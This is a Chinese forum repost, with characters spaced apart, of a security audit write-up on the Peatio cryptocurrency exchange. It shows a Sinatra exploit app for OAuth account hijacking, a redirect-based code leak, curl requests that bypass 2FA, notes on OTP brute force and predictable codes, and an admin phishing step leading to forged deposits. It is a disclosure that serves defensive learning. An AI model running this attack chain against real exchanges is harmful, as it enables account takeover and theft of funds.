搜索

[28849] 2021-04-11_入侵开源加密货币交易所Peatio

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-04-11_入侵开源加密货币交易所Peatio 入 侵 开 源 加 密 货 币 交 易 所 P e a t i o O t s 安 全   2 0 2 1 - 0 4 - 1 1 更 新 ： 再 次 - 现 实 中 没 有 人 被 黑 客 入 侵 ， 审 计 是 免 费 进 行 的 。 这 篇 文 章 只 是 一 个 攻 击 场 景 。 您 可 以 下 载 最 终 报 告 ， 并 在 此 处 查 看 说 明 。 一 段 时 间 以 来 ， 我 们 一 直 在 寻 找 一 个 进 行 志 愿 者 安 全 审 核 的 项 目 。 最 近 ， 我 们 为 我 们 找 到 了 一 个 完 美 的 选 择 - 由 R a i l s 提 供 支 持 的 开 源 加 密 货 币 交 易 所 P e a t i o 。 我 们 花 了 8 个 小 时 来 寻 找 一 种 方 法 ， 以 解 决 比 特 币 交 易 所 可 以 做 的 最 坏 的 事 情 - 窃 取 热 钱 包 。 该 任 务 已 部 分 完 成 ， 我 们 发 现 了 一 系 列 有 趣 的 关 键 漏 洞 。 步 骤 步 骤 1 . 劫 持 帐 户 劫 持 帐 户 P e a t i o 内 置 了 “ 连 接 微 博 帐 户 ” 功 能 。 根 据 O A u t h 安 全 备 忘 单 ， O A u t h 的 实 施 不 当 是 一 种 接 管 帐 户 的 可 靠 方 法 。 将 攻 击 者 的 微 博 帐 户 连 接 到 受 害 者 的 P e a t i o 帐 户 o m n i a u t h - w e i b o - o a u t h 2   g e m 容 易 受 到 状 态 修 复 的 攻 击 。 我 们 可 以 将 s t a t e 设 置 为 任 意 值 （ 例 如 1 2 3 ） ， 然 后 改 用 s t a t e   =   1 2 3 来 应 用 攻 击 者 的 代 码 ， 这 将 导 致 将 攻 击 者 的 微 博 分 配 给 受 害 者 的 对 等 帐 户 。 完 全 相 同 的 问 题 是 在 o m n i a u t h - f a c e b o o k   g e m 和 其 他 基 于 o m n i a u t h 的 库 中 复 制 了 相 同 的 易 受 攻 击 的 代 码 。 有 趣 的 是 ， 上 面 的 评 论 说 “ 支 持 支 持 o m n i a u t h - o a u t h 2 的 自 动 的 自 动 c s r f 保 护 保 护 ” ， ， 但 相 反 ， 将 其 关 闭 。 该 错 误 可 通 过 以 下 S i n a t r a 应 用 程 序 加 以 利 用 ， 只 需 添 加 Y o u r W e i b o C o o k i e s ： 如 果 用 户 已 经 连 接 了 微 博 怎 么 办 ？ 该 系 统 不 会 连 接 另 一 个 微 博 帐 户 ， 但 我 们 希 望 该 漏 洞 利 用 程 序 能 够 对 每 个 可 能 的 受 害 者 无 缝 运 行 。 因 此 ， 我 们 入 侵 了 微 博 的 O A u t h 。 首 先 ， 我 们 发 现 微 博 没 有 像 G i t h u b 一 样 不 在 白 名 单 中 。 可 以 切 换 到 受 害 者 域 上 的 另 一 个 页 面 以 泄 漏 R e f e r r e r 标 头 中 的 内 容 ， 然 后 使 用 它 登 录 受 害 者 的 帐 户 。 但 是 ， 在 P e a t i o 上 没 有 这 样 的 页 面 来 使 其 泄 漏 。 没 有 外 部 图 像 ， 链 接 或 其 他 任 何 内 容 。 攻 击 面 很 小 。 但 后 来 我 们 在 ： 跟 随 重 定 向 链 通 过 首 先 将 代 码 放 入 片 段 中 来 泄 漏 代 码 。 r e q u i r e   ' s i n a t r a ' g e t   ' / g e t _ w e i b o _ c b '   d o     c o n n   =   F a r a d a y . n e w ( : u r l   = >   ' h t t p s : / / a p i . w e i b o . c o m ' )     n e w _ u r l   =   c o n n . g e t   d o   | r |         r . u r l   " / o a u t h 2 / a u t h o r i z e ? c l i e n t _ i d = 4 5 6 5 1 9 1 0 7 & r e d i r e c t _ u r i = h t t p s % 3 A % 2 F % 2 F y u n b i . c o m % 2 F a u t h % 2 F w e i b o % 2 F c a l l b a c k & r e s p o n s e _ t y p e = c o d e & s t a t e = 1 2 3 "         r . h e a d e r s [ ' C o o k i e ' ]   = < < C O O K I E Y o u r W e i b o C o o k i e s C O O K I E         r . o p t i o n s . t i m e o u t   =   4                         r . o p t i o n s . o p e n _ t i m e o u t   =   2     e n d . h e a d e r s [ " L o c a t i o n " ]     r e d i r e c t   n e w _ u r l e n d g e t   ' / p e a t i o _ d e m o '   d o     r e s p o n s e . h e a d e r s [ ' C o n t e n t - S e c u r i t y - P o l i c y ' ]   =   " i m g - s r c   ' s e l f '   h t t p s : / / y u n b i . c o m "     " < i m g   s r c = ' h t t p s : / / y u n b i . c o m / a u t h / w e i b o ? s t a t e = 1 2 3 ' > < i m g   s r c = ' / g e t _ w e i b o _ c b ' > " e n d r e d i r e c t _ u r i r e d i r e c t _ u r i c o d e D o c u m e n t s C o n t r o l l e r i f   n o t   @ d o c     r e d i r e c t _ t o ( r e q u e s t . r e f e r e r   | |   r o o t _ p a t h )     r e t u r n e n d #
  重 定 向 到   2 .   微 博 无 法 正 确 解 析 ， 并 将 受 害 者 重 定 向 到 3 .   P e a t i o 无 法 找 到 并 发 送 等 于 请 求 头 的 L o c a t i o n 标 头 。 r e f e r e r 仍 然 是 A t t a c k e r _ p a g e   （ 浏 览 器 在 重 定 向 时 保 留 了 此 标 头 ） 4 .   浏 览 器 保 留 片 段 并 加 载 。 现 在 ， 可 以 通 过 J S 使 用 J S 泄 漏 代 码 。 该 代 码 可 用 于 登 录 受 害 者 的 帐 户 。 因 此 ， 使 用 上 述 两 个 错 误 ， 我 们 可 以 劫 持 任 何 对 等 账 户 ， 并 且 只 有 最 后 一 个 需 要 J S 。 步 骤 步 骤 2 ： 绕 过 ： 绕 过 2 要 素 验 证 要 素 验 证 对 于 已 激 活 G o o g l e   A u t h e n t i c a t o r 的 用 户 S m s A u t h s C o n t r o l l e r 中 有 一 个 漏 洞 - 仅 被 要 求 采 取 行 动 ， 而 实 际 上 并 不 是 由 其 负 责 激 活 S M S   2 F A 。 我 们 可 以 直 接 发 送 以 下 请 求 来 激 活 新 的 S M S 身 份 验 证 器 。 1 .   a t t a c k e r _ p a g e w e i b o . c o m / a u t h o r i z e ? . . . r e d i r e c t _ u r i = h t t p s : / / a p p / d o c u m e n t s / n o t _ e x i s t i n g _ d o c % 2 3 . . . r e d i r e c t _ u r i h t t p s : / / a p p / d o c u m e n t s / n o t _ e x i s t i n g _ d o c # ? c o d e = V A L I D _ C O D E n o t _ e x i s t i n g _ d o c # ? c o d e = V A L I D _ C O D E a t t a c k e r _ p a g e # ? c o d e = V A L I D _ C O D E l o c a t i o n . h a s h h t t p s : / / a p p / a u t h / w e i b o / c a l l b a c k t w o _ f a c t o r _ r e q u i r e d ! s h o w u p d a t e b e f o r e _ a c t i o n   : a u t h _ m e m b e r ! b e f o r e _ a c t i o n   : f i n d _ s m s _ a u t h b e f o r e _ a c t i o n   : a c t i v a t e d ? b e f o r e _ a c t i o n   : t w o _ f a c t o r _ r e q u i r e d ! ,   o n l y :   [ : s h o w ] d e f   s h o w     @ p h o n e _ n u m b e r   =   P h o n e l i b . p a r s e ( c u r r e n t _ u s e r . p h o n e _ n u m b e r ) . n a t i o n a l e n d d e f   u p d a t e     i f   p a r a m s [ : c o m m i t ]   = =   ' s e n d _ c o d e '         s e n d _ c o d e _ p h a s e     e l s e         v e r i f y _ c o d e _ p h a s e     e n d e n d u p d a t e c u r l   ‘ h t t p s : / / a p p / v e r i f y / s m s _ a u t h ’   - H   ‘ X - C S R F - T o k e n : Z P w r Q u L J 3 x 7 m d 3 w o l r C T E 6 H I t x k w O i U N H l e k D P R D k w I = ’   - H   ‘ C o o k i e : _ p e a t i o _ s e s s i o n = S I D ’   – d a t a   ‘ _ m e t h o d = p a t c h & s m s _ a u t h % 5 B c o u n t r y % 5 D = D E & s m s _ a u t h % 5 B   p h o n e _ n u m b e r % 5 D = 9 1 2 3 2 2 2 2 1 1 & c o m m i t = s e n d _ c o d e ’
对 于 同 时 具 有 A u t h e n t i c a t o r 和 S M S 的 用 户 P e a t i o 不 会 存 储 O T P 失 败 的 尝 试 ， 因 此 可 以 很 容 易 地 同 时 暴 力 破 解 A p p 和 S M S   O T P ， 这 将 花 费 不 到 3 天 的 时 间 。 有 关 更 多 详 细 信 息 ， 请 检 查 我 们 的 O T P   B r u t e f o r c e 计 算 器 计 算 器 仅 限 使 用 S M S   2 F A 的 用 户 方 法 不 使 用 范 围 ， 因 此 即 使 不 活 动 的 2 F A 模 型 也 可 以 使 用 。 因 此 ， 由 于 受 害 者 将 开 始 接 收 可 疑 的 S M S ， 因 此 我 们 不 会 暴 力 破 解 S M S 身 份 验 证 。 我 们 仍 然 可 以 蛮 力 地 使 用 G o o g l e   A u t h e n t i c a t o r ， 因 为 它 已 经 生 成 了 种 子 并 且 方 法 运 行 良 好 。 此 外 ， S M S   2 F A 还 有 两 个 问 题 第 一 个 问 题 是 c u r l   ‘ h t t p s : / / a p p / v e r i f y / s m s _ a u t h ’   - H   ‘ X - C S R F - T o k e n : Z P w r Q u L J 3 x 7 m d 3 w o l r C T E 6 H I t x k w O i U N H l e k D P R D k w I = ’   - H   ‘ C o o k i e : _ p e a t i o _ s e s s i o n = S I D ’   – d a t a   ‘ _ m e t h o d = p a t c h & s m s _ a u t h % 5 B c o u n t r y % 5 D = D E & s m s _ a u t h % 5 B   p h o n e _ n u m b e r % 5 D = 9 1 2 3 2 2 2 2 1 1 & s m s _ a u t h % 5 B o t p % 5 D = C O D E _ W E _ R E C E I V E D ’ t w o _ f a c t o r _ b y _ t y p e a c t i v a t e d v e r i f y ? d e f   t w o _ f a c t o r _ b y _ t y p e     c u r r e n t _ u s e r . t w o _ f a c t o r s . b y _ t y p e ( p a r a m s [ : i d ] ) e n d d e f   g e n _ c o d e     s e l f . o t p _ s e c r e t   =   O T P _ L E N G T H . t i m e s . m a p {   R a n d o m . r a n d ( 9 )   +   1   } . j o i n     s e l f . r e f r e s h e d _ a t   =   T i m e . n o w e n d R a n d o m . r a n d
基 于 P R N G （ M e r s e n n e   T w i s t e r ） 的 ， 一 旦 有 了 足 够 的 后 续 生 成 的 数 字 ， 就 可 以 很 容 易 地 预 测 到 它 。 第 二 个 问 题 是 只 能 生 成 0 到 8 之 间 的 数 字 ， 因 此 组 合 总 数 将 为 9   ^   6   =   5 3 1 4 4 1 ， 几 乎 比 1 , 0 0 0 , 0 0 0 少 两 倍 ， 并 且 比 A p p   2 F A 暴 力 破 解 更 容 易 两 倍 。 通 过 上 面 概 述 的 技 巧 ， 我 们 可 以 为 任 何 用 户 跳 过 2 F A 。 在 最 坏 的 情 况 下 ， 它 需 要 不 到 3 天 的 时 间 。 如 果 受 害 者 只 有 G o o g l e   A u t h e n t i c a t o r ， 则 只 需 不 到 5 秒 钟 即 可 设 置 新 的 S M S 身 份 验 证 器 。 步 骤 步 骤 3 ： 攻 击 管 理 员 ： 攻 击 管 理 员 好 了 ， 我 们 可 以 劫 持 该 帐 户 并 为 任 何 用 户 绕 过 2 F A ， 因 此 我 们 可 以 从 访 问 我 们 页 面 的 任 何 人 那 里 窃 取 比 特 币 。 仍 然 ， 我 们 仍 然 需 要 大 量 用 户 来 诱 骗 点 击 我 们 的 虚 假 链 接 。 让 我 们 只 关 注 其 中 之 一 - 管 理 员 。 使 管 理 员 访 问 我 们 链 接 的 最 简 单 方 法 是 创 建 一 个 支 持 票 ， 其 内 容 为 “ 我 的 帐 户 有 什 么 问 题 ， 请 检 查 吗 ？ h t t p s : / / i . w i l l . h a c k . y o u / n o w ” 。 然 后 ， 我 们 破 解 2 F A 进 入 面 板 ： 不 幸 的 是 ， 这 是 最 糟 糕 的 部 分 。 P e a t i o 的 管 理 员 只 能 做 一 些 比 普 通 用 户 更 多 的 事 情 。 就 像 “ 将 所 有 硬 币 发 送 给 这 个 坏 家 伙 ” 或 “ 显 示 所 有 用 户 的 A P I 密 钥 ” 一 样 。 我 们 发 现 的 唯 一 结 果 是 创 建 了 一 个 法 定 存 款 ， 例 如 9 9 9 9 9 9 9 9 人 民 币 ， 然 后 由 管 理 员 接 受 。 r a n d ( 9 ) / a d m i n     c a n   : u p d a t e ,   P r o o f     c a n   : m a n a g e ,   D o c u m e n t     c a n   : m a n a g e ,   M e m b e r     c a n   : m a n a g e ,   T i c k e t     c a n   : m a n a g e ,   I d D o c u m e n t     c a n   : m a n a g e ,   T w o F a c t o r     c a n   : m e n u ,   D e p o s i t     c a n   : m a n a g e ,   D e p o s i t     c a n   : m a n a g e ,   : : D e p o s i t s : : B a n k     c a n   : m a n a g e ,   : : D e p o s i t s : : S a t o s h i     c a n   : m e n u ,   W i t h d r a w     c a n   : m a n a g e ,   : : W i t h d r a w s : : B a n k     c a n   : m a n a g e ,   : : W i t h d r a w s : : S a t o s h i
然 后 ， 我 们 可 以 购 买 所 有 可 用 的 比 特 币 和 山 寨 币 以 将 其 提 取 。 但 是 ， 并 非 所 有 比 特 币 都 在 订 购 中 。 与 在 紧 急 模 式 下 关 闭 所 有 订 单 相 比 ， 在 隐 形 模 式 下 运 行 一 周 可 以 带 来 更 好 的 结 果 。 云 壁 资 产 ： 总 计 1 6 3 6   B T C ， 热 钱 包 中 约 有 3 5 0 我 们 的 赏 金 ： 1   B T C 。 不 过 ， 这 与 金 钱 无 关 。 最 后 ， 该 报 告 可 供 下 载 ： h t t p s : / / s a k u r i t y . c o m / p e a t i o . p d f 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理